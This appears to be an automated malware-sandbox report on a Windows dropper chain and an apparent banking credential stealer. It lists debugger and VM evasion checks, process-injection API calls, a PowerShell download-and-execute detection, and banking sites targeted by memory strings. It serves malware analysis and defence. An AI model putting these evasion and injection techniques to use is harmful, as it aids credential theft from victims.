Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006B5C97 FindFirstFileW,FindNextFileW,FindClose,	18_2_006B5C97

Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe

Code function: 13_2_009493D0 GetVersionExW,GetModuleHandleA,GetProcAddress,GetSystemInfo,

13_2_009493D0

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior

Source: rapes.exe, rapes.exe, 00000003.00000002.1046903594.000000000043B000.00000040.00000001.01000000.00000007.sdmp, TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE, 00000022.00000002.1637933726.000000000036B000.00000040.00000001.01000000.00000018.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696494690p
Source: trano1221.exe, 00000023.00000003.1602103221.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: j2aTPs+9xYa9+bG3tD60B8jzljHz7aRP+KNOjSkVWLjVb3/ubCK1sK9IRQq9qEmU
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: amnew.exe, 0000000D.00000003.1315417048.00000000010E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: futors.exe, 0000000F.00000003.1632617370.0000000001524000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.1481927220.0000000001337000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.2079863840.0000000001341000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.1467013696.0000000001337000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.1508453490.0000000001337000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.2079265890.0000000001338000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.1417138519.0000000001339000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1518652176.00000000005BE000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1518652176.0000000000623000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1941933794.000001E16B4E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: m0wsoI3.exe, 00000011.00000002.1530953936.0000000010035000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: mshta.exe, 0000001C.00000003.1535151495.0000028CB7C08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\8b}gXi
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: powershell.exe, 00000019.00000002.1608263973.000000000703D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: m0wsoI3.exe, 00000011.00000002.1530953936.0000000010035000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: powershell.exe, 00000019.00000002.1605837411.0000000006FB9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\yx
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: mshta.exe, 00000014.00000003.1521428601.0000000002CF7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\%(R/
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: futors.exe, 0000000F.00000003.1632617370.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: M6gQuZPvgY.exe, 00000000.00000002.1004978180.00000000003FB000.00000040.00000001.01000000.00000003.sdmp, rapes.exe, 00000002.00000002.1039237167.000000000043B000.00000040.00000001.01000000.00000007.sdmp, rapes.exe, 00000003.00000002.1046903594.000000000043B000.00000040.00000001.01000000.00000007.sdmp, TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE, 00000022.00000002.1637933726.000000000036B000.00000040.00000001.01000000.00000018.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: UD49QH6.exe, 00000010.00000003.1434865164.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe

API call chain: ExitProcess graph end node

graph_17-53356

Source: C:\Users\user\Desktop\M6gQuZPvgY.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\M6gQuZPvgY.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Code function: 0_2_052F036F Start: 052F04C4 End: 052F03AB		0_2_052F036F
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Code function: 0_2_052F03E4 Start: 052F04C4 End: 052F03AB		0_2_052F03E4

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\M6gQuZPvgY.exe

Code function: 0_2_052F0000 rdtsc

0_2_052F0000

Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe

Code function: 18_2_006BEAA2 BlockInput,

18_2_006BEAA2

Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe

Code function: 13_2_0096A1A5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

13_2_0096A1A5

Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe

Code function: 17_2_004054F0 VirtualProtect ?,00000004,00000100,00000000

17_2_004054F0

Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe

17_2_00409220

Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: 13_2_0096DB60 mov eax, dword ptr fs:[00000030h]	13_2_0096DB60
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: 13_2_00975FF2 mov eax, dword ptr fs:[00000030h]	13_2_00975FF2
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: 14_2_0040DB60 mov eax, dword ptr fs:[00000030h]	14_2_0040DB60
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: 14_2_00415FF2 mov eax, dword ptr fs:[00000030h]	14_2_00415FF2
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_0043C04C mov eax, dword ptr fs:[00000030h]	17_2_0043C04C
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_00415E60 mov eax, dword ptr fs:[00000030h]	17_2_00415E60
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_00401000 mov eax, dword ptr fs:[00000030h]	17_2_00401000
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_0043C0B2 mov eax, dword ptr fs:[00000030h]	17_2_0043C0B2
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_00664CE8 mov eax, dword ptr fs:[00000030h]	18_2_00664CE8

Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe

Code function: 13_2_009804F2 GetProcessHeap,

13_2_009804F2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: 13_2_0096A1A5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_0096A1A5
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: 13_2_0096A308 SetUnhandledExceptionFilter,	13_2_0096A308
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: 13_2_0096EB6D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_0096EB6D
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Code function: 13_2_009698B8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_009698B8
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: 14_2_0040A1A5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_0040A1A5
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: 14_2_0040A308 SetUnhandledExceptionFilter,	14_2_0040A308
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: 14_2_0040EB6D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_0040EB6D
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Code function: 14_2_004098B8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_004098B8
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_00672622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_00672622
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_0066083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_0066083F
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006609D5 SetUnhandledExceptionFilter,	18_2_006609D5
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_00660C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	18_2_00660C21

Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe

Memory protected: page guard

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi32_2520.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_8000.amsi.csv, type: OTHER
Source: Yara match	File source: amsi32_3204.amsi.csv, type: OTHER
Source: Yara match	File source: amsi32_6248.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: mshta.exe PID: 7256, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2520, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mshta.exe PID: 5916, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 8000, type: MEMORYSTR

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe

Code function: 13_2_00948070 GetModuleFileNameA,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree,

13_2_00948070

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe

Memory written: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe

18_2_006A1201

Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe

Code function: 18_2_00682BA5 KiUserCallbackDispatcher,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

18_2_00682BA5

Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe

Code function: 18_2_006AB226 SendInput,keybd_event,

18_2_006AB226

Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe

Code function: 18_2_006C22DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

18_2_006C22DA

Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe "C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe "C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe "C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe "C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe "C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\10235700121\am_no.cmd" "	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe "C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Process created: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe "C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Process created: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe "C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe"	Jump to behavior
